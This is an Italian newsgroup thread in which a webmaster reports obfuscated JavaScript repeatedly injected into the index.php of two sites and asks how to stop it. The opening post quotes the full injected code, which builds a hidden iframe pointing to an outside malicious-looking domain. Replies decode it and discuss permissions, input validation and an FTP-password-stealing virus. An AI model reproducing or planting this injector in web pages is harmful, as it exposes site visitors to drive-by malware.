Newsgroup: it.comp.www.php
Titolo: index.php - hakcato?!?! Posso bloccarne la scrittura?

Sono due giorni che mi trovo dello strano codice nell'index.php
Il codice � questo e viene piazzato infondo alla pagina:
lc='/';a='rc';xk='h.c';lg='am';cr='?15';tq='ifr';ql='5';fr='oba';j='ara';br='n';xb='0aa';g='a82';u='om/';s='k';bx='s';tg='6a';r='itc';jg='6cc';et='b8';m='41';n='un';k='5';y='c0f';vj='p:';t='ef2';l='//b';dx='411';c='cdz';qv='9';kw='htt';b='eb';pf='6';ch='mas';p='79';x='e';lj='prf';z='ofo';tk=tq.concat(lg,x);e=bx.concat(a);pv=kw.concat(vj,l,j,s,fr,ch,n,z,br,b,r,xk,u,c,lj,lc,cr,k,pf,p,tg,m,jg,xb,y,et,t,dx,qv,g,ql);var 
rb=document.createElement(tk);rb.setAttribute('width','5');rb.setAttribute('height','5');rb.setAttribute('style','display:none');rb.setAttribute(e,pv);document.body.appendChild(rb);
non ho idea di cosa faccia ma me lo ritrovo nell'index.php di miei 2 siti, 
ho cambiato le pwd di accesso ed il giorno dopo mi sono ritrovato punto e a 
capo.
I 2 siti sono collegati, o meglio da uno dei due si pu� risalire all'altro 
(esiste un collegamento in tutte e due le direzioni e credo che questo sia 
il collegamento).
Detto questo, altra cosa strana � che in uno dei 2 index oltre a comparire 
questo codice, scompare una istruzione js all'interno delle pagina che, 
all'apparenza sembra innocua (sta li da pi� di un anno) ed � questa:
 <script type="text/javascript">
    /* Optional: Temporarily hide the "tabber" class so it does not "flash"
    on the page as plain HTML. After tabber runs, the class is changed
    to "tabberlive" and it will appear. */
    document.write('<style 
type="text/css">.tabber{display:none;}<\/style>');
   </script>
Detto questo, non essendo espertissimo, chiederei: � possibile bloccare la 
scrittura sull'index.php o sto dicendo una sciocchezza?
Grazie a tutti. 

 rb=document.createElement(tk);rb.setAttribute('width','5');rb.setAttribute('height','5');rb.setAttribute('style','display:none');rb.setAttribute(e,pv);document.body.appendChild(rb);
crea un iframe nascosto che punta a :
http://barakobamasunofonebitch.com/cdzprf/?1556796a416cc0aac0fb8ef24119a825
rotfl, i cracker repubblicani!!!
come toglierlo?
impossibile sapere in che modo ti hanno bucato, � anche possibile che
ci sia un programmino che ti gira sul server con i privilegi di root.


Sto rileggendo quello che hai scritto ed inizialmente mi sembrava mi 
prendessi in giro.
Ma leggendo cosa fanno quei concat etc... sembra proprio cos�!
Domanda:
1 - questo codice era in fondo all'index.php, ma proprio in fondo dopo il 
tad ?>
quindi me lo vedevo a video e non veniva eseguito.
Nel caso fosse stato eseguito cosa avrebbe fatto? Visualizzato un iframe con 
dentro quella pagina?!?!
2 - ora ho settato i parametri di scrittura dell'
index.ph
 a 444 (ho tolto 
tutti i permessi di scrittura), pu� essere sufficiente? (Ovvio che se, come 
dici, c'� un programma che gira con privilegi di root mi sa proprio di 
no...).
3 - Un consiglio su cosa fare ora? Contatto l'host?
Grazie per l'aiuto.

 3 - Un consiglio su cosa fare ora? Contatto l'host?
a che pro?
se ti hanno bucato significa che hai una falla, se non la tappi, ti
continueranno a bucare.
Se hai solo un sito hotsto sicuro che la falla sta nel tuo codice,
altrimenti ... puo' stare in ogni servizio che si affccia in rete.
documentati su come sviluppare un sito sicuro (varie injiection etc),e
controlla dove � che hai fatto il danno.
scarsa validazione dell'input ?
controllo debole sui tentativi di login brute force?
altro?

 controllo debole sui tentativi di login brute force?
Ma login da dove? Nel sito? Tipo un wordpress o simili? Perch� non ho niente 
di tutto sul web.
Grazie per le info. 

 Tipo un wordpress o simili? 
no, tipo un sito che fa fare login, lo fai anche con una semplice pagina
php , mica serve un cms

 pagina php , mica serve un cms
in effetti ho dei form, semplicissimi, che con 2 righe di php mi fanno 
scrivere dei file di testo.
Ho letto delle inijection ma non avendo db mysql o altro credo non mi 
riguardino, giusto? 

 riguardino, giusto?
sbagliato, quelle sono sql injection, tu sei vulnerabile a xss
injection, ad esempio.
brasa tutto, rifai le pagine aggiungendo la validazione (lato server eh?)
su *tutti* i dati in input (GET e POST) e rimetti le pagine su.
Probabilmnte il problema scoparir�.

 Probabilmnte il problema scoparir�.
Ok. ci provo.
Grazie delle info. 

 Il codice � questo e viene piazzato infondo alla pagina:
Non � che hai la gallery Coppermine? A me era capitato un problema simile a 
causa di un bug nel software di quella gallery.
-- 
Elminster 

 Il codice � questo e viene piazzato infondo alla pagina:
Sei su Aruba?

 scrivere dei file di testo.
Il nome del file lo accetti dalla form?

 Il nome del file lo accetti dalla form?
No, � definito nel codice internamente.
Tra l'altro pensavo questo, se un "attacco" vie "esternamente" tramite cio� 
qualcosa che passo dalla form, cambiando i permessi nel file index.php ed 
impedendo la scrittura settando tutta a 444 dovrei risolvere, � giusto il 
ragionamento? 

 a causa di un bug nel software di quella gallery.
No, non uso quello script ma vedr� di controllare meglio quelli 
"semplicissimi" che ho su. 


Uno su Altervista l'altro su Tophost. 

 è giusto il ragionamento?
Sì il ragionamento è giusto ma secondo me non è la soluzione adatta.

 S� il ragionamento � giusto ma secondo me non � la soluzione adatta.
Si, immagino sia una soluzione tampone ma per ora mi serve tamponare in 
attesa di capire cosa avviene. 

 Il codice è questo e viene piazzato infondo alla pagina:
usi filezilla?

"ga.n" <ga...@askme.invalid> ha scritto nel messaggio 
news:hb47cq$du5$1...@news.eternal-september.org...

Si... (mi stai facendo preoccupare...) 


Scusa per il nick diverso... ho risposto da un altro pc. 

Lostino ci ha detto :

c'è un virus che becca le password ftp da filezilla e fa alcuni 
giochetti strani con i file index.php
ovvero
hai un virus nel computer